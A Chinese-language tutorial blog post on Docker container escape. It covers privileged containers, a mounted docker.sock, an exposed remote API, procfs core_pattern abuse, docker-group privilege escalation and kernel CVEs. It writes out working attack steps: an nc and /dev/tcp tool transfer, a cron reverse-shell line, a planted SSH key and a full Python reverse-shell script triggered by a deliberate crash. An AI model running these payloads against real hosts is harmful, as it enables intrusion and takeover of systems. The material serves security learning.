docker容器逃逸学习篇

前言

本文对常见docker逃逸漏洞做了总结,包含漏洞环境的搭建,原理说明,利用方式,以及cdk工具的简单介绍等

前置知识

docker主要组件

Docker CLI(docker)

docker 程序是一个客户端工具,用来把用户的请求发送给 docker daemon(dockerd docker守护进程)

dockerd

docker daemon/docker守护进程,负责接受用户指令,维护容器的生命周期

Containerd

在宿主机中管理完整的容器生命周期:容器镜像的传输和存储、容器的执行和管理、存储和网络等

Containerd-shim

它是 containerd 的组件,是容器的运行时载体,主要是用于剥离 containerd 守护进程与容器进程,引入shim,允许runc 在创建和运行容器之后退出,并将 shim 作为容器的父进程,而不是 containerd 作为父进程,这样做的目的是当 containerd 进程挂掉,由于 shim 还正常运行,因此可以保证容器不受影响。此外,shim 也可以收集和报告容器的退出状态,不需要 containerd 来 wait 容器进程。我们在 docker 宿主机上看到的 shim 也正是代表着一个个通过调用 containerd 启动的 docker 容器

RunC

RunC 是一个轻量级命令行的工具,它是用来运行容器的,容器作为 runC 的子进程开启,在不需要运行一个 Docker daemon 的情况下可以嵌入到其他各种系统,也就是说可以不用通过 docker 引擎,直接运行容器。docker是通过Containerd调用 runC 运行容器的

docker运行简单分析

docker run hello-world

hello-world 容器运行中经历了什么?

1、Docker 客户端向 docker daemon 发送请求
2、Docker daemon 从 Docker Hub 上拉取镜像
3、Docker daemon 使用镜像运行了一个容器并产生了输出
4、Docker daemon 把输出的内容发送给了 docker 客户端

Docker Daemon相当于一个server,监听来自/var/run/docker.sock的请求,然后做出各种响应,例如返回镜像列表,创建容器

docker常用命令

dokcer拉取镜像/创建容器

docker pull  xxxxxx(镜像名字)
dokcer run -name 容器名字 ubuntu(镜像名字)

docker查看镜像/容器

docker images
docker ps

docker进入容器

docker exec -it 容器id/容器名字 /bin/bash

复制文件到docker容器
docker cp 本地文件 容器名字/容器id:/root
复制docker文件到本地
docker cp 容器名字/容器id:/root/文件名 本地路径

清理docker容器/镜像

docker删除全部镜像:

docker stop $(docker ps -aq)  停止全部镜像
docker rmi $(docker images -q) -f  删除全部镜像

docker 删除全部容器:

docker rm $(docker ps -a -q)

docker逃逸的原因

第一种方式:配置不当引起的逃逸:
当容器的权限配置不当或挂载敏感目录时,这些错误配置为攻击者提供了利用的机会。攻击者可以通过利用这些错误配置进行容器逃逸,从而逃逸到宿主机。

第二种方式:内核漏洞引起的逃逸:
容器与宿主机共用系统内核,如果内核存在漏洞,攻击者就可以利用宿主机的内核漏洞进行容器逃逸 。

第三种方式:Docker软件自身的漏洞导致的逃逸:
Docker是一个容器化平台,它包含了docker软件本身以及runc和containerd等核心组件。这些组件本身也可能存在漏洞,攻击者可以利用这些漏洞来进行容器逃逸。

CDK工具简单介绍

下载地址:

https://github.com/cdk-team/CDK/

将cdk传入你拿下的容器

将cdk工具丢到你的公网服务器,并且监听端口

nc -lvp 10196 < cdk

被拿下的容器中执行:

cat < /dev/tcp/Your IP/Your prot > cdk

cdk使用方法:

CDK包括三个功能模块

Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。

Exploit: 提供容器逃逸、持久化、横向移动等利用方式。

Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。

# 容器内部信息收集
./cdk evaluate
# 查看可利用的payload
./cdk run --list
# 利用
./cdk run <exploit>

Exploit 模块

Tool 模块

还原部分常用的Linux命令,解决容器环境缩减的问题

docker环境判断方法

根目录下:ls -al
存在 .dockerenv文件

cat /proc/1/cgroup
存在docker字符

cat /proc/1/environ
查看容器环境变量

Privileged特权模式容器逃逸

这种逃逸方式为docker配置不当导致

环境搭建

启动一个名字叫ubuntu的特权容器

docker run -itd --name ubuntu --privileged ubuntu:16.04 /bin/bash
进入容器
docker exec -it ubuntu /bin/bash
判断是否为特权环境

容器内部执行命令,从而判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff

cat /proc/self/status |grep Cap

逃逸方式

查看挂载磁盘设备

fdisk -l

创建test目录,将宿主机文件挂载到 /test 目录下

mkdir /test && mount /dev/vda1 /test
ls /test

已经可以访问宿主机文件了

改变当前进程的根目录,完成逃逸

chroot /test

反弹计划任务获取shell

攻击机:nc -lvvp 10196
echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.1.1/10196 0>&1' >> /var/spool/cron/root

公私钥登录

攻击机:

生成密钥
ssh-keygen 
获取公钥
cat /root/.ssh/id_rsa.pub

docker环境中:

echo "公钥" >> /root/.ssh/authorized_keys

之后即可用id_rsa私钥进行连接

cdk工具一键逃逸

./cdk run mount-disk

访问给出的路径,即是宿主机的根路径

docker.sock挂载逃逸

这种逃逸方式为docker配置不当导致

docker.sock是docker守护进程监听的Unix域套接字

Docker Daemon 的连接方式

UNIX 域套接字

默认就是这种方式, 会生成一个 /var/run/docker.sock 文件, UNIX 域套接字用于本地进程之间的通讯, 这种方式相比于网络套接字效率更高, 但局限性就是只能被本地的客户端访问。

tcp 端口监听

服务端开启端口监听 dockerd -H IP:PORT , 客户端通过指定IP和端口访问服务端 docker -H IP:PORT 。通过这种方式, 任何人只要知道了你暴露的ip和端口就能随意访问你的docker服务了, 这是一件很危险的事, 因为docker的权限很高, 不法分子可以从这突破取得服务端宿主机的最高权限。

什么是unix socket?

unix socket可以让一个程序通过类似处理一个文件的方式和另一个程序通信,这是一种进程间通信的方式(IPC)。
当你在host上安装并且启动好docker,docker daemon 会自动创建一个socket文件并且保存在/var/run/docker.sock目录下。docker daemon监听着socket中即将到来的链接请求(可以通过-H unix:///var/run/docker.sock设定docker daemon监听的socket文件,-H参数还可以设定监听tcp:port或者其它的unix socket),当一个链接请求到来时,它会使用标准IO来读写数据。

docker.sock 是docker client 和docker daemon 在localhost进行通信的socket文件。
可以直接call这个socket文件来拉去镜像,创建容器,启动容器等一系列操作。(其实就是直接call docker daemon API而不是通过docker client的方式去操控docker daemon)。

环境搭建

创建一个ubuntu镜像,名叫docker_sock

将宿主机的 Docker 套接字挂载到容器中。这样做可以让容器内运行的程序控制宿主机的 Docker 守护进程,这在某些情况下非常有用,比如当你需要在容器内运行 Docker 命令时

docker run -itd --name docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
进入容器
docker exec -it docker_sock /bin/bash
判断docker.sock是否被挂载
find / -iname docker.sock

没被挂载的环境是没有docker.sock文件的

被挂载的环境中可以搜处docker.sock文件

逃逸方式

在容器中安装docker环境

apt update && apt-get install -y docker.io 
apt update && apt install -y docker.io

可以看到在容器中docker ps获取到的已经是宿主机环境下的docker信息了,doker_sock就是目前容器的环境的名字

将宿主机根目录挂载到当前容器的test目录下

docker run -it -v /:/test ubuntu /bin/bash 

之后计划任务反弹shell,写ssh公私钥,步骤就一样了

docker远程API未授权访问逃逸

这种逃逸方式为docker配置不当导致

docker.sock挂载逃逸中介绍了Docker Daemon 的连接方式有两种方式

第一种是UNIX套接字,也是默认的连接方式,这种方式只能本地访问

第二种方式就是tcp 端口监听的方式,这种方式可以远程访问, 任何人只要知道了你暴露的ip和端口就能随意访问你的docker服务了

此种逃逸就是因为Docker Daemon使用了第二种连接方式,导致远程api未授权访问逃逸漏洞

环境搭建

vi /lib/systemd/system/docker.service

文件末尾添加如下代码
[Service]
ExecStart=
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
systemctl daemon-reload   #重载守护进程
service docker restart  #重启docker服务
判断是否存在该漏洞

开启2375端口的docker宿主机,就有可能存在漏洞。利用这个漏洞结合Docker逃逸漏洞,可以写SSH密钥或者反弹shell,实现RCE

访问
192.168.1.1:2375/version
192.168.1.1:2375/info
或
docker -H tcp://192.168.1.1 ps
docker -H tcp://192.168.1.1 images

即可判断为漏洞存在

逃逸方式

因为已经可以远程输入docker命令了,直接创建个特权容器环境并进行连接,逃逸即可

创建特权容器
docker -H tcp://192.168.1.1  run -itd --name ubuntu --privileged ubuntu:16.04 /bin/bash

进入容器
docker -H tcp://192.168.1.1 exec -it ubuntu /bin/bash

宿主机路径挂载到test路径
mkdir /test && mount /dev/vda1 /test

逃逸成功
ls /test

procfs 容器逃逸

这种逃逸方式为docker配置不当导致

触发条件苛刻,需要进程崩溃才可触发

我们常说挂载宿主机 procfs 逃逸,其本质上因为宿主机挂载了procfs,导致我们可以像宿主机内写入一段恶意的payload,比如反弹shell,然后利用代码制造崩溃,触发内存转储,就会执行我们恶意的payload

什么是procfs

procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。

什么是core_pattern文件?

core_pattern(核心转储模式)是Linux系统中的一个配置参数,用于定义在程序崩溃时生成核心转储文件的方式和位置。当一个程序发生崩溃(如段错误)时,操作系统会生成一个包含程序崩溃状态的核心转储文件,以便进行调试和故障排除

接下里就很好理解了,如果宿主机中的 procfs 挂载到容器中,我们就可以进行容器逃逸了

环境搭建

docker run -itd --name docker_procfs -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
进入容器
docker exec -it docker_procfs /bin/bash
判断是否存在procfs逃逸

发现有两个core_pattern 判断其中一个为宿主机的,可能存在procfs容器逃逸

find / -name core_pattern

逃逸方法

容器中:找到当前容器在宿主机下的绝对路径

cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

当前的绝对路劲为:将work路径换成merged

/var/lib/docker/overlay2/0620f1ca9b00deb7b1bddec3c2f8064793cf804d33c8349578426e993b530691/merged

安装 vim 和 gcc

apt-get update -y && apt-get install vim gcc -y
vi /tmp/.momo.py

在.momo.py文件中输入反弹shell脚本

#!/usr/bin/python3
import  os
import pty
import socket
lhost = "192.168.1.1"
lport = 10196
def main():
       s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       s.connect((lhost, lport))
       os.dup2(s.fileno(), 0)
       os.dup2(s.fileno(), 1)
       os.dup2(s.fileno(), 2)
       os.putenv("HISTFILE", '/dev/null')
       pty.spawn("/bin/bash")
       s.close() 
if __name__ == "__main__": 
       main()

给反弹shell脚本赋权:

chmod 777 /tmp/.momo.py 

需要用到刚才的绝对路径,将.momo.py文件输出到core_pattern文件中

echo -e "|/var/lib/docker/overlay2/0620f1ca9b00deb7b1bddec3c2f8064793cf804d33c8349578426e993b530691/merged/tmp/.momo.py\rcore " >  /host/proc/sys/kernel/core_pattern

corn_pattern文件写入后:

我们使用c写一个可以触发崩溃的程序

vi momo.c

#include<stdio.h>
int main(void)  {
   int *a  = NULL;
   *a = 1;
   return 0;
}

gcc momo.c -o momo
chmod 777 momo

此时使用攻击机监听反弹shell时设置的端口10196

成功反弹shell

Docker用户组特性权限提升

我们都知道Docker 需要 root 权限才能跑起来,其运行的所有命令都是需要 sudo 来运行,而Docker 监护进程有一个特性,它被允许访问 root 用户或者是在 docker 组里面的所有用户,这就如同拥有 root 的访问权限

简而言之,如果我们拿到了一个docker组内用户的权限,就可以提升到root权限

因为Docker 守护进程会允许 root 用户和 docker组用户访问 Docker,给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大

环境搭建

创建一个普通用户并且进入docker组

# 添加用户
adduser momo_test

# 将momo_test添加到docker用户组中
usermod -G docker momo_test
# 改变当前会话的初始组为 docker 组
newgrp docker

# 跳转到momo_test用户
su momo_test

提权方法

我们以momo_test的身份启动一个容器–>一个挂载了宿主机根目录的容器

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

此时我们进入的环境就是宿主机的root环境了,提权成功

内核漏洞逃逸

内核版本不同,搭建环境很麻烦,此处只对存在漏洞的版本进行总结

CVE-2016-5195 DirtyCow 逃逸

uname -r

如果在 2.6.22 <= 版本 <= 4.8.3 之间说明可能存在 CVE-2016-5195 DirtyCow 漏洞

CVE-2020-14386

uname -r

如果在 4.6 <= 版本 < 5.9 之间说明可能存在 CVE-2020-14386 漏洞

CVE-2022-0847 DirtyPipe 逃逸

uname -r

如果在 5.8 <= 版本 < 5.10.102 < 版本 < 5.15.25 < 版本 < 5.16.11 之间说明可能存在 CVE-2022-0847 DirtyPipe 漏洞

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值